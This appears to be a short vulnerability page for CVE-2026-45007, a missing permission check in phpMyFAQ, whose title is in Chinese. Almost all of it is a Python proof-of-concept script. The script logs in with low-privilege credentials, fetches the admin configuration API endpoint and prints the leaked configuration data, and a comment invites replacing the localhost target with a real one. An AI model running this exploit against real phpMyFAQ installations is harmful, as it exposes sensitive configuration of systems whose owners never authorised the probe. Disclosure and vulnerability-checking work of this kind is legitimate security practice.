CVE-2026-45007: phpMyFAQ权限检查缺失致信息泄露

import requests def check_vuln(target_url, username, password): session = requests.Session() login_url = f"{target_url}/admin/login" api_url = f"{target_url}/admin/api/configuration" # Step 1: Authenticate as a low-privilege user login_data = { 'username': username, 'password': password } login_resp = session.post(login_url, data=login_data) if login_resp.status_code != 200: print("Login failed") return # Step 2: Request configuration endpoint (Vulnerable endpoint) response = session.get(api_url) if response.status_code == 200: print("[+] Vulnerability Confirmed!") print("[+] Configuration Data Leaked:") print(response.text) else: print("[-] Could not access configuration") if __name__ == "__main__": # Replace with actual target and creds check_vuln("http://localhost:8080", "user", "password")